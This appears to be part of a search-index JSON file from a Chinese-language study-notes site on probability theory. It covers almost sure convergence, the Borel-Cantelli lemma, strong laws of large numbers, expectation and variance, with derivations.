<p>\u90a3\u4e48\u79f0 \\(X_n\\) \u5904\u5904\u6536\u655b\u4e8e \\(X\\)\u3002</p> <ul> <li>\u51e0\u4e4e\u5904\u5904\u6536\u655b: \u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5982\u679c\u5b58\u5728 \\(\\Omega_0 \\subset \\Omega\\) \u4f7f\u5f97</li> </ul> <p>(i) \\(P(\\Omega_0) = 0\\)</p> <p>(ii) \u5bf9\u6bcf\u4e2a \\(\\omega \\in \\Omega \\setminus \\Omega_0\\),</p> \\[   X_n(\\omega) \\to X(\\omega), \\quad n \\to \\infty \\] <p>\u90a3\u4e48\u79f0 \\(X_n\\) \u51e0\u4e4e\u5904\u5904\u6536\u655b\u4e8e \\(X\\)\uff0c\u8bb0\u505a \\(X_n \\to X, a.s.\\)\u3002</p> <p>\u5373\u9664\u4e00\u4e2a\u96f6\u6982\u7387\u4e8b\u4ef6\u5916\uff0c\\(X_n\\) \u5904\u5904\u6536\u655b\u4e8e \\(X\\)\u3002</p> <p>Quote</p> <p>\u5bf9\u4e8e\u51e0\u4e4e\u5904\u5904\u6536\u655b\u548c\u4f9d\u6982\u7387\u6536\u655b\uff0c\u4e24\u8005\u7684\u533a\u522b\u662f\u4f9d\u6982\u7387\u6536\u655b\u5148\u8ba1\u7b97\u6982\u7387\uff0c\u518d\u8981\u6c42\u6982\u7387\u4e3a1\uff0c\u800c\u51e0\u4e4e\u5904\u5904\u6536\u655b\u8981\u6c42\u6bcf\u4e00\u4e2a\u6837\u672c\u7a7a\u95f4\u7684\u70b9\u7684\u6620\u5c04\u90fd\u6536\u655b\u3002</p> <p>\u8be6\u60c5\u53ef\u4ee5\u53c2\u8003\u8fd9\u7bc7\u6587\u7ae0\u51e0\u4e4e\u5904\u5904\u6536\u655b\u4e0e\u4f9d\u6982\u7387\u6536\u655b\u7684\u533a\u522b</p>"},{"location":"NOTE/Probability/Fourth/#_6","title":"\u51e0\u4e4e\u5904\u5904\u6536\u655b\u7684\u5224\u522b\u6cd5\u5219","text":"<p>\\(X_n \\to X, \\ a.s.\\)</p> <p>\u5f53\u4e14\u4ec5\u5f53\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ P\\left(\\bigcap_{N=1}^{\\infty} \\bigcup_{n=N}^{\\infty} \\{|X_n(\\omega) - X(\\omega)| &gt; \\epsilon\\}\\right) = 0 \\] <p>\u6216\u8005\u8bf4</p> \\[ P(\\{|X_n(\\omega) - X(\\omega)| &gt; \\epsilon\\}, \\ i.o.) = 0(i.o.\u8868\u793a\u65e0\u9650\u6b21) \\] <p>\u7b49\u4ef7\u5730, \u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ \\lim_{N \\to \\infty} P\\left(\\bigcup_{n=N}^{\\infty} \\{|X_n(\\omega) - X(\\omega)| &gt; \\epsilon\\}\\right) = 0 \\] <p>\u7531\u6b64, \u4e5f\u53ef\u770b\u51fa\u51e0\u4e4e\u5904\u5904\u6536\u655b\u6bd4\u4f9d\u6982\u7387\u6536\u655b\u5f3a\u3002</p> <p>\u8fd9\u4e00\u90e8\u5206\u7684\u63a8\u5bfc\u6bd4\u8f83\u7e41\u7410,\u8fd9\u91cc\u5c31\u4e0d\u6572\u4e0a\u6765\u4e86,\u76f4\u63a5\u9644\u4e0a\u6211\u7684\u624b\u5199\u7248,\u52ff\u602a</p> \u5bf9\u4e8e\u5f0f\u5b50\u7684\u7406\u89e3"},{"location":"NOTE/Probability/Fourth/#borel-cantelli","title":"Borel-Cantelli \u5f15\u7406","text":"<ul> <li>\u5047\u8bbe \\(A_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u4e8b\u4ef6\uff0c\u5982\u679c</li> </ul> \\[ \\sum_{n=1}^{\\infty} P(A_n) &lt; \\infty \\] <p>\u90a3\u4e48</p> \\[ P(A_n, i.o.) = 0 \\] <p>\u8bc1\u660e\uff1a</p> \\[ P(A_n, i.o.) =P(\\bigcap_{N=1}^{\\infty} \\bigcup_{n=N}^{\\infty} A_n) =\\lim_{N \\to \\infty} P\\left(\\bigcup_{n=N}^{\\infty} A_n\\right)(\\text{\u8fde\u7eed\u6027}) \\] \\[ P\\left(\\bigcup_{n=N}^{\\infty} A_n\\right) \\leqslant \\sum_{n=N}^{\\infty} P(A_n) \\to 0(\\text{\u6b21\u53ef\u52a0\u6027\u52a0Cauchy\u6536\u655b}) \\] <ul> <li>\u5047\u8bbe \\(A_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u4e8b\u4ef6\uff0c\u5982\u679c</li> </ul> \\[ \\sum_{n=1}^{\\infty} P(A_n) = \\infty \\] <p>\u90a3\u4e48</p> \\[ P(A_n, i.o.) = 1 \\] <p>\u8bc1\u660e\uff1a\u7531\u4e8e \\(A_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u4e8b\u4ef6\uff0c\u90a3\u4e48</p> <p>\u9996\u5148\u505a\u5982\u4e0b\u8f6c\u5316</p> \\[ P(A_n, i.o.) = P\\left(\\bigcap_{k=1}^{\\infty} \\bigcup_{n=k}^{\\infty} A_n\\right) = 1 \\] \\[ \\iff \\lim_{k \\to \\infty} P\\left(\\bigcup_{n=k}^{\\infty} A_n\\right) = 1 \\] \\[ \\iff P\\left(\\bigcup_{n=k}^{\\infty} A_n\\right) = 1, \\forall k \\geqslant 1 \\quad (\\text{\u5355\u8c03\u9012\u51cf\u8d8b\u4e8e1\uff0c\u53ea\u80fd\u4e3a1}) \\] \\[ \\iff P\\left(\\bigcap_{n=k}^{\\infty} A_n^c\\right) = 0, \\forall k \\geqslant 1. \\quad (\\text{de Morgan}) \\] \\[ P\\left(\\bigcap_{n=N}^{M} A_n^c\\right) = \\prod_{n=N}^{M} P(A_n^c) = \\prod_{n=N}^{M} (1 - P(A_n)) \\] \\[ \\leqslant \\prod_{n=N}^{M} e^{-P(A_n)} = e^{-\\sum_{n=N}^{M} P(A_n)} \\] \\[ \\lim_{N \\to \\infty} \\lim_{M \\to \\infty} P\\left(\\bigcap_{n=N}^{M} A_n^c\\right) = 0 \\] <p>Borel-Cantelli \u5f15\u7406\u53c8\u79f0\u4e3a\u96f6\u4e00\u5b9a\u5f8b\uff0c\u5373\u5982\u679c\u4e8b\u4ef6\u53d1\u751f\u7684\u6982\u7387\u4e4b\u548c\u6709\u9650\uff0c\u90a3\u4e48\u4e8b\u4ef6\u53d1\u751f\u7684\u6b21\u6570\u662f\u6709\u9650\u7684(\u6709\u65e0\u9650\u6b21\u4e0d\u53d1\u751f)\uff0c\u5982\u679c\u4e8b\u4ef6\u53d1\u751f\u7684\u6982\u7387\u4e4b\u548c\u65e0\u9650\uff0c\u90a3\u4e48\u4e8b\u4ef6\u53d1\u751f\u7684\u6b21\u6570\u662f\u65e0\u9650\u7684\u3002</p>"},{"location":"NOTE/Probability/Fourth/#borel","title":"Borel\u5927\u6570\u5b9a\u5f8b","text":"<p>\u5047\u8bbe \\((\\Omega, A, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u968f\u673a\u53d8\u91cf\uff1a</p> \\[  P(\\xi_k = 1) = p, \\quad P(\\xi_k = 0) = 1 - p  \\] <p>\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u90a3\u4e48 \\(S_n/n \\to p\\)\uff0ca.s.</p> <p>\u8bc1\u660e\uff1a\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\)</p> \\[  P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon, i.o.\\right) = 0  \\] <p>\u7531 Borel-Cantelli \u5f15\u7406\uff0c\u53ea\u9700\u8bc1\u660e</p> \\[ \\sum_{n=1}^{\\infty} P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon\\right) &lt; \\infty \\] <p>\u7531 Markov \u4e0d\u7b49\u5f0f\uff0c</p> \\[ P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon\\right) \\leqslant \\frac{E|S_n - np|^4}{n^4 \\epsilon^4} \\] <p>\u5bb9\u6613\u8ba1\u7b97\u5f97\uff0c</p> \\[ E|S_n - np|^4 = np(1-p)[(1-p)^3 + (1-p)^2] + n(n-1)p^2(1-p)^2 \\] <p>\u56e0\u6b64\uff0c</p> \\[ \\sum_{n=1}^{\\infty} P\\left(\\left|\\frac{S_n}{n} - p\\right| &gt; \\epsilon\\right) \\leqslant K(\\epsilon, p) \\sum_{n=1}^{\\infty} \\frac{1}{n^2} &lt; \\infty \\]"},{"location":"NOTE/Probability/Fourth/#kolmogorov","title":"Kolmogorov \u5927\u6570\u5f8b","text":"<p>\u5047\u8bbe \\((\\Omega, A, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u968f\u673a\u53d8\u91cf\u3002\u5982\u679c \\(E\\xi_k = \\mu\\)\uff0c\u90a3\u4e48</p> \\[ \\frac{S_n}{n} \\to \\mu, \\quad a.s. \\] <ol> <li>Kolmogorov \u5f3a\u5927\u6570\u5f8b\u63a8\u5e7f\u4e86 Borel \u5f3a\u5927\u6570\u5f8b</li> <li>Kolmogorov \u5f3a\u5927\u6570\u5f8b\u63a8\u5e7f\u4e86 Khinchine \u5927\u6570\u5f8b</li> </ol>"},{"location":"NOTE/Probability/Third/","title":"\u6570\u5b57\u7279\u5f81","text":"<p> \u7ea6 3969 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 14 \u5206\u949f</p>"},{"location":"NOTE/Probability/Third/#_2","title":"\u6570\u5b66\u671f\u671b","text":"<p>\u6570\u5b66\u671f\u671b\u7684\u5b9a\u4e49</p> <p>\u8bbe\\(X\\)\u662f\u4e00\u4e2a\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\uff0c\\(X\\)\u7684\u6570\u5b66\u671f\u671b\uff08\u6216\u79f0\u4e3a\u671f\u671b\u503c\uff09\u662f\\(X\\)\u6240\u6709\u53ef\u80fd\u53d6\u503c\u7684\u52a0\u6743\u5e73\u5747\uff0c\u8bb0\u4e3a\\(E(X)\\)\u6216\\(\\mu\\)\uff0c\u5373</p> \\[     E(X)=\\sum_{i=1}^{n}x_iP(X=x_i) \\] <p>\u5176\u4e2d\uff0c\\(x_i\\)\u662f\\(X\\)\u7684\u53ef\u80fd\u53d6\u503c\uff0c\\(P(X=x_i)\\)\u662f\\(X\\)\u53d6\u503c\u4e3a\\(x_i\\)\u7684\u6982\u7387\u3002</p> <p>\u82e5\\(X\\)\u662f\u4e00\u4e2a\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5176\u6982\u7387\u5bc6\u5ea6\u51fd\u6570\u4e3a\\(p(x)\\)\uff0c\u5219\\(X\\)\u7684\u6570\u5b66\u671f\u671b\u4e3a</p> \\[     E(X)=\\int_{-\\infty}^{+\\infty}xp(x)dx \\] <p>\u6570\u5b66\u671f\u671b\u7684\u610f\u4e49\u5728\u4e8e\uff0c\u5f53\u968f\u673a\u53d8\u91cf\\(X\\)\u72ec\u7acb\u91cd\u590d\u5730\u8fdb\u884c\u5927\u91cf\u5b9e\u9a8c\u65f6\uff0c\\(X\\)\u7684\u5e73\u5747\u503c\u5c06\u8d8b\u4e8e\\(E(X)\\)\u3002</p> <p>\u6570\u5b66\u671f\u671b\u8ddf\u53c2\u6570\u6709\u5173\uff0c\u6709\u51e0\u4e2a\u53c2\u6570\u5c31\u8ddf\u51e0\u4e2a\u53c2\u6570\u6709\u5173\u3002</p> <p>\u5e38\u89c1\u5206\u5e03\u7684\u6570\u5b66\u671f\u671b</p> \u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6b63\u6001\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03 <p>\u82e5\\(X\\sim B(n,p)\\)\uff0c\u5219</p> \\[E(X)=np\\] <p>\u82e5\\(X\\sim P(\\lambda)\\)\uff0c\u5219</p> \\[E(X)=\\lambda\\] <p>\u82e5\\(X\\sim G(p)\\)\uff0c\u5219</p> \\[E(X)=\\dfrac{1}{p}\\] <p>\u82e5\\(X\\sim U(a,b)\\)\uff0c\u5219</p> \\[E(X)=\\dfrac{a+b}{2}\\] <p>\u82e5\\(X\\sim E(\\lambda)\\)\uff0c\u5219</p> \\[E(X)=\\dfrac{1}{\\lambda}\\] <p>\u82e5\\(X\\sim N(\\mu,\\sigma^2)\\)\uff0c\u5219</p> \\[E(X)=\\mu\\] <p>\u82e5\\(X\\sim H(N,M,n)\\)\uff0c\u5219</p> \\[E(X)=n\\dfrac{M}{N}\\] <p>\u5728\u8ba1\u7b97\u6570\u5b66\u671f\u671b\u7684\u65f6\u5019\u9700\u8981\u7528\u5230\u7ea7\u6570\u7684\u77e5\u8bc6\uff0c\u9700\u8981\u8003\u8651\u5230\u51fd\u6570\u5217\u662f\u5426\u4e00\u81f4\u6536\u655b\u6765\u8fd0\u7528\u9010\u9879\u6c42\u5bfc\u6216\u8005\u6c42\u79ef\u5206\uff0c\u7ea7\u6570\u662f\u5426\u7edd\u5bf9\u6536\u655b\u6765\u5224\u65ad\u662f\u5426\u53ef\u4ee5\u7528\u7ea7\u6570\u7684\u91cd\u6392\uff1b</p> <p>Note</p> <p>\u4e3a\u4e86\u907f\u514d\u540c\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\u56e0\u4e3a\u6392\u5e8f\u4e0d\u540c\u9020\u6210\u7684\u6570\u5b66\u671f\u671b\u4e0d\u540c\uff0c\u6211\u4eec\u8981\u6c42</p> \\[     \\sum_{i=1}^{\\infty}x_ip_i \\] <p>\u662f\u7edd\u5bf9\u6536\u655b\u7684(\\(\\sum_{i=1}^{\\infty}\\lvert x_ip_i \\rvert\\)\u6536\u655b)\uff0c\u5373\u8be5\u7ea7\u6570\u7684\u4efb\u610f\u4e00\u4e2a\u91cd\u6392\u90fd\u6536\u655b\u4e8e\u540c\u4e00\u4e2a\u503c\u3002 \u5982\u679c\u662f\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf\uff0c\u5219\u8981\u6c42</p> \\[     \\int_{-\\infty}^{+\\infty}\\lvert xp(x) \\rvert dx \\] <p>\u53ef\u79ef\u3002</p>"},{"location":"NOTE/Probability/Third/#_3","title":"\u6570\u5b66\u671f\u671b\u7684\u6027\u8d28","text":"<ul> <li>\u6709\u754c: </li> </ul> \\[     a \\leqslant X \\leqslant b \\Rightarrow a \\leqslant E(X) \\leqslant b \\] <p>\u5373\u6570\u5b66\u671f\u671b\u4e0d\u4f1a\u8d85\u8fc7\u968f\u673a\u53d8\u91cf\u7684\u53d6\u503c\u8303\u56f4\u3002</p> <ul> <li>\u7ebf\u6027\u8fd0\u7b97</li> </ul> \\[     E(a+bY)=a+bE(Y) \\] <p>\u4ece\u6c42\u548c\u548c\u79ef\u5206\u7684\u6027\u8d28\u53ef\u4ee5\u5f97\u5230\u3002</p> <ul> <li>\u52a0\u6cd5\u5b9a\u7406</li> </ul> <p>\u7531\u968f\u673a\u53d8\u91cf\u52a0\u6cd5\u7684\u5206\u5e03</p> <p>\u5047\u8bbe \\((X, Y) \\sim p(x, y)\\)\uff0c\u90a3\u4e48 \\(Z = X + Y\\) \u5177\u6709\u5bc6\u5ea6</p> \\[ p_Z(z) = \\int_{-\\infty}^{\\infty} p(x, z - x) dx \\] <p>\u6240\u4ee5</p> \\[ E(X + Y) = \\int_{-\\infty}^{\\infty} z p_Z(z) dz \\] \\[\\begin{align*} E(X + Y) &amp;= \\int_{-\\infty}^{\\infty} z p_Z(z) dz \\\\ &amp;= \\int_{-\\infty}^{\\infty} z \\int_{-\\infty}^{\\infty} p(x, z - x) dx dz\\\\ &amp;= \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} (x + y) p(x, y) dx dy\\\\ &amp;= \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} x p(x, y) dx dy + \\int_{-\\infty}^{\\infty} \\int_{-\\infty}^{\\infty} y p(x, y) dx dy\\\\ &amp;= \\int_{-\\infty}^{\\infty} x p_X(x) dx + \\int_{-\\infty}^{\\infty} y p_Y(y) dy\\\\ &amp;= E X + E Y \\end{align*}\\] <p>\u63a8\u5e7f\uff1a</p> \\[ E(a_1 X_1 + a_2 X_2 + \\cdots + a_m X_m) = a_1 E X_1 + a_2 E X_2 + \\cdots + a_m E X_m \\] <p>\u5e94\u7528</p> <p>\u5047\u8bbe \\(X_1, X_2, \\dots, X_m\\) \u662f\u975e\u8d1f\u3001\u72ec\u7acb\u540c\u5206\u5e03\u7684\u968f\u673a\u53d8\u91cf\uff0c\u6c42</p> \\[ E \\frac{X_1 + \\cdots + X_k}{X_1 + \\cdots + X_m} \\] \\[ E \\frac{X_1}{X_1 + \\cdots + X_m} = \\cdots = E \\frac{X_m}{X_1 + \\cdots + X_m} \\] <p>\u5b58\u5728\uff0c\u6709\u9650\u3002\u53e6\u5916\uff0c</p> \\[\\begin{align*} 1 &amp;= E \\frac{X_1 + \\cdots + X_m}{X_1 + \\cdots + X_m}\\\\ &amp;= E \\frac{X_1}{X_1 + \\cdots + X_m} + \\cdots + E \\frac{X_m}{X_1 + \\cdots + X_m}\\\\ &amp;= m \\cdot E \\frac{X_1}{X_1 + \\cdots + X_m}\\\\ \\end{align*}\\] <p>\u6240\u4ee5\uff0c</p> \\[ E \\frac{X_1}{X_1 + \\cdots + X_m} = \\frac{1}{m} \\Rightarrow E \\frac{X_1 + \\cdots + X_k}{X_1 + \\cdots + X_m} = \\frac{k}{m} \\] <p>\u52a0\u6cd5\u5b9a\u7406\u8ba1\u7b97\u671f\u671b</p> <p>\u4ee4 \\( N \\) \u662f\u4ea7\u54c1\u603b\u6570\uff0c\\( M \\) \u662f\u6b21\u54c1\u6570\uff0c\u73b0\u62bd\u53d6 \\( n \\) \u4ef6\u4ea7\u54c1\u68c0\u67e5\uff0c\u5176\u4e2d \\( n \\leq M \\)\u3002 \u4ee4 \\( S_n \\) \u8868\u793a \\( n \\) \u4ef6\u62bd\u67e5\u4ea7\u54c1\u4e2d\u6b21\u54c1\u7684\u4e2a\u6570\u3002\u90a3\u4e48</p> \\[ P(S_n = k) = \\frac{\\binom{M}{k} \\binom{N - M}{n - k}}{\\binom{N}{n}} \\] <p>\u4e0b\u9762\u7ed9\u51fa \\( X \\) \u7684\u53e6\u4e00\u79cd\u8868\u793a\uff1a\u4ee4 \\( \\xi_i \\) \u8868\u793a\u7b2c \\( i \\)-\u6b21\u62bd\u68c0\u65f6\u6b21\u54c1\u4e2a\u6570\uff0c</p> \\[ X_i =  \\begin{cases} 1, &amp; p \\\\ 0, &amp; 1 - p \\end{cases} \\quad i = 1, 2, \\dots, n\uff0c\\operatorname{\u540c\u5206\u5e03\uff0c\u4f46\u662f\u4e0d\u72ec\u7acb} \\] <p>\u90a3\u4e48</p> \\[ S_n = \\sum_{i=1}^n X_i  \\] \\[ E S_n = \\sum_{i=1}^n E X_i = n \\frac{M}{N} \\] <p>Key-point</p> <p>\\(X_i\\)\u6307\u7b2c\\(i\\)\u6b21\u62bd\u5230\u7684\u662f\u4e0d\u662f\u6b21\u54c1\uff0c\u8fd9\u76f8\u5f53\u4e8e\u62bd\u5956\uff0c\u65e0\u8bba\u62bd\u5956\u987a\u5e8f\u662f\u4ec0\u4e48\uff0c\u6bcf\u4e2a\u4eba\u62bd\u5230\u7684\u6982\u7387\u90fd\u662f\u4e00\u6837\u7684\uff0c\u6240\u4ee5\\(X_i\\)\u662f\u540c\u5206\u5e03\u7684\uff0c\u4f46\u662f\u4e0d\u72ec\u7acb\u3002</p> <p>\u5982\u679c\u968f\u673a\u53d8\u91cf\\(X\\)\u548c\\(Y\\)\u72ec\u7acb\uff0c\u90a3\u4e48\\(E(XY)=E(X)E(Y)\\)\uff0c\u5982\u679c\\(E(XY)=E(X)E(Y)\\)\uff0c\u5e76\u4e0d\u4e00\u5b9a\u6709\\(X\\)\u548c\\(Y\\)\u72ec\u7acb\u3002</p>"},{"location":"NOTE/Probability/Third/#_4","title":"\u968f\u673a\u53d8\u91cf\u51fd\u6570\u7684\u6570\u5b66\u671f\u671b","text":"<p>\u968f\u673a\u53d8\u91cf\u51fd\u6570\u7684\u6570\u5b66\u671f\u671b\u53ef\u4ee5\u7528\u4ee5\u4e0b\u516c\u5f0f\u6765\u5b9a\u4e49\uff1a</p> <p>\\((\\Omega,\\mathcal{F},P)\\)\u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4, \\(X:\\Omega \\to \\mathbf{R}\\)\u662f\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\\( g(X) \\) \u662f \\( X \\) \u7684\u4e00\u4e2a\u5b9e\u503c\u53ef\u6d4b\u51fd\u6570\uff0c\u90a3\u4e48 \\( g(X) \\) \u7684\u6570\u5b66\u671f\u671b \\( E[g(X)] \\) \u5b9a\u4e49\u4e3a\uff1a</p> \u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\u8fde\u7eed\u578b\u968f\u673a\u53d8\u91cf <p>\u671f\u671b \\( E[g(X)] \\) \u4e3a\uff1a</p> \\[  E[g(X)] = \\sum_{x} g(x) P(X = x) \\] <p>\u5176\u4e2d \\( P(X = x) \\) \u662f \\( X \\) \u53d6\u503c\u4e3a \\( x \\) \u7684\u6982\u7387\u3002</p> <p>\u671f\u671b \\( E[g(X)] \\) \u4e3a\uff1a</p> \\[  E[g(X)] = \\int_{-\\infty}^{\\infty} g(x) f_X(x) \\, dx \\] <p>\u5176\u4e2d \\( f_X(x) \\) \u662f \\( X \\) \u7684\u6982\u7387\u5bc6\u5ea6\u51fd\u6570\u3002</p> <p>\u5982\u679c\\(X\\)\u6709\u5206\u5e03\u51fd\u6570\uff0c\u90a3\u4e48</p> \\[  E[g(X)] = \\int_{-\\infty}^{\\infty} g(x) f_X(x) \\, dx= \\int_{-\\infty}^{\\infty} g(x) dF_X(x) \\]"},{"location":"NOTE/Probability/Third/#_5","title":"\u65b9\u5dee","text":"<p>Definition</p> <p>\u65b9\u5dee\u662f\u7528\u6765\u8861\u91cf\u968f\u673a\u53d8\u91cf\u504f\u79bb\u5176\u5747\u503c\u7684\u7a0b\u5ea6\u7684\u6307\u6807\u3002\u8bbe \\( X \\) \u662f\u4e00\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u5176\u6570\u5b66\u671f\u671b\u4e3a \\( E(X) \\)\uff0c\u5219 \\( X \\) \u7684\u65b9\u5dee\u8bb0\u4f5c \\( \\operatorname{Var}(X) \\) \u6216 \\( \\sigma^2 \\)\uff0c\u5b9a\u4e49\u5982\u4e0b\uff1a</p> \\[ \\operatorname{Var}(X) = E[(X - E(X))^2] \\] <p>\u65b9\u5dee\u5b9a\u4e49\u7684\u662f\u968f\u673a\u53d8\u91cf \\( X \\) \u4e0e\u5176\u5747\u503c \\( E(X) \\) \u504f\u5dee\u7684\u5e73\u65b9\u7684\u671f\u671b\u3002\u5b83\u53cd\u6620\u4e86 \\( X \\) \u53d6\u503c\u7684\u5206\u6563\u7a0b\u5ea6\u3002\u65b9\u5dee\u8d8a\u5927\uff0c\u8bf4\u660e \\( X \\) \u7684\u53d6\u503c\u79bb\u5747\u503c\u8d8a\u8fdc\uff0c\u5206\u6563\u6027\u8d8a\u5927\uff1b\u65b9\u5dee\u8d8a\u5c0f\uff0c\u8bf4\u660e \\( X \\) \u7684\u53d6\u503c\u96c6\u4e2d\u5728\u5747\u503c\u9644\u8fd1\uff0c\u5206\u6563\u6027\u8f83\u5c0f\u3002</p> <p>\\(\\sqrt{\\operatorname{Var}(X)}\\) \u79f0\u4e3a\u968f\u673a\u53d8\u91cf \\( X \\) \u7684\u6807\u51c6\u5dee\uff0c\u8bb0\u4f5c\\(\\sigma\\)</p> <p>\u5e38\u89c1\u5206\u5e03\u7684\u65b9\u5dee</p> \u4e8c\u9879\u5206\u5e03\u6cca\u677e\u5206\u5e03\u51e0\u4f55\u5206\u5e03\u5747\u5300\u5206\u5e03\u6307\u6570\u5206\u5e03\u6b63\u6001\u5206\u5e03\u8d85\u51e0\u4f55\u5206\u5e03 <p>\u82e5\\(X\\sim B(n,p)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=np(1-p)\\] <p>\u82e5\\(X\\sim P(\\lambda)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\lambda\\] <p>\u5bf9\u4e8e\u6cca\u677e\u5206\u5e03\uff0c\u65b9\u5dee\u7b49\u4e8e\u6570\u5b66\u671f\u671b\uff0c\u8fd9\u662f\u6cca\u677e\u5206\u5e03\u7684\u4e00\u4e2a\u7279\u6027\u3002</p> <p>\u82e5\\(X\\sim G(p)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\dfrac{1-p}{p^2}\\] <p>\u82e5\\(X\\sim U(a,b)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\dfrac{(b-a)^2}{12}\\] <p>\u82e5\\(X\\sim E(\\lambda)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\dfrac{1}{\\lambda^2}\\] <p>\u82e5\\(X\\sim N(\\mu,\\sigma^2)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=\\sigma^2\\] <p>\u82e5\\(X\\sim H(N,M,n)\\)\uff0c\u5219</p> \\[\\operatorname{Var}(X)=n\\dfrac{M}{N}\\dfrac{N-M}{N}\\dfrac{N-n}{N-1}\\]"},{"location":"NOTE/Probability/Third/#_6","title":"\u8ba1\u7b97\u516c\u5f0f","text":"<p>\u53ef\u4ee5\u901a\u8fc7\u4ee5\u4e0b\u516c\u5f0f\u8ba1\u7b97\u65b9\u5dee\uff1a</p> \\[ \\operatorname{Var}(X) = E(X^2) - [E(X)]^2 \\] <p>Proof</p> <p>\u65b9\u5dee\u7684\u5b9a\u4e49\u662f\uff1a</p> \\[ \\operatorname{Var}(X) = E[(X - E(X))^2] \\] <p>\u5c55\u5f00\u62ec\u53f7\uff0c\u5f97\u5230\uff1a</p> \\[ \\operatorname{Var}(X) = E[X^2 - 2X \\cdot E(X) + (E(X))^2] \\] <p>\u5229\u7528\u671f\u671b\u7684\u7ebf\u6027\u6027\u8d28\uff0c\u5f97\u5230\uff1a</p> \\[ \\operatorname{Var}(X) = E(X^2) - 2 E(X) \\cdot E(X) + (E(X))^2 \\] <p>\u7531\u4e8e \\( E(X) \\) \u662f\u4e00\u4e2a\u5e38\u6570\uff0c\u6240\u4ee5 \\( E(X) \\cdot E(X) = [E(X)]^2 \\)\uff0c\u56e0\u6b64\u53ef\u4ee5\u7b80\u5316\u4e3a\uff1a</p> \\[ \\operatorname{Var}(X) = E(X^2) - [E(X)]^2 \\] <p>\u8be5\u516c\u5f0f\u8868\u660e\uff0c\u8ba1\u7b97\u65b9\u5dee\u65f6\u53ef\u4ee5\u901a\u8fc7\u6c42 \\( X \\) \u7684\u5e73\u65b9\u7684\u671f\u671b \\( E(X^2) \\) \u51cf\u53bb \\( X \\) \u7684\u671f\u671b\u7684\u5e73\u65b9 \\( [E(X)]^2 \\) \u6765\u5f97\u5230\u3002\u8fd9\u79cd\u5f62\u5f0f\u901a\u5e38\u66f4\u65b9\u4fbf\uff0c\u5c24\u5176\u662f\u5728 \\( E(X) \\) \u548c \\( E(X^2) \\) \u5bb9\u6613\u6c42\u5f97\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u7b80\u5316\u8ba1\u7b97\u3002</p> <p>\u5176\u4e2d\uff1a</p> <ul> <li> <p>\\( E(X^2) \\) \u662f \\( X \\) \u7684\u5e73\u65b9\u7684\u671f\u671b\uff0c\u5373\u4e8c\u9636\u77e9\u3002</p> </li> <li> <p>\\( [E(X)]^2 \\) \u662f \\( X \\) \u7684\u671f\u671b\u7684\u5e73\u65b9\u3002</p> </li> </ul>"},{"location":"NOTE/Probability/Third/#_7","title":"\u65b9\u5dee\u7684\u6027\u8d28","text":"<ul> <li>\u975e\u8d1f\u6027\uff1a</li> </ul> <p>\u65b9\u5dee\u603b\u662f\u975e\u8d1f\u7684\uff0c\u5373 \\( \\operatorname{Var}(X) \\geq 0 \\)\u3002</p> <ul> <li>\u5e73\u79fb\u4e0d\u53d8\u6027</li> </ul> <p>\u82e5 \\( c \\) \u4e3a\u5e38\u6570\uff0c\u5219 \\( \\operatorname{Var}(X + c) = \\operatorname{Var}(X) \\)\u3002</p> <ul> <li>\u65b9\u5dee\u7684\u7ebf\u6027\u53d8\u6362</li> </ul> <p>\u5bf9\u4e8e\u72ec\u7acb\u968f\u673a\u53d8\u91cf \\( Y \\) \uff0c\u4ee5\u53ca\u5e38\u6570 \\( a \\) \u548c \\( b \\)\uff0c\u6709</p> \\[    \\operatorname{Var}(a + bY) = b^2 \\operatorname{Var}(Y) \\] <ul> <li>\u65b9\u5dee\u7684\u52a0\u6cd5</li> </ul> <p>\u5bf9\u4e8e\u72ec\u7acb\u968f\u673a\u53d8\u91cf \\( X \\) \u548c \\( Y \\)\uff0c\u6709</p> \\[    \\operatorname{Var}(X + Y) = \\operatorname{Var}(X) + \\operatorname{Var}(Y)+2\\operatorname{Cov}(X,Y) \\] 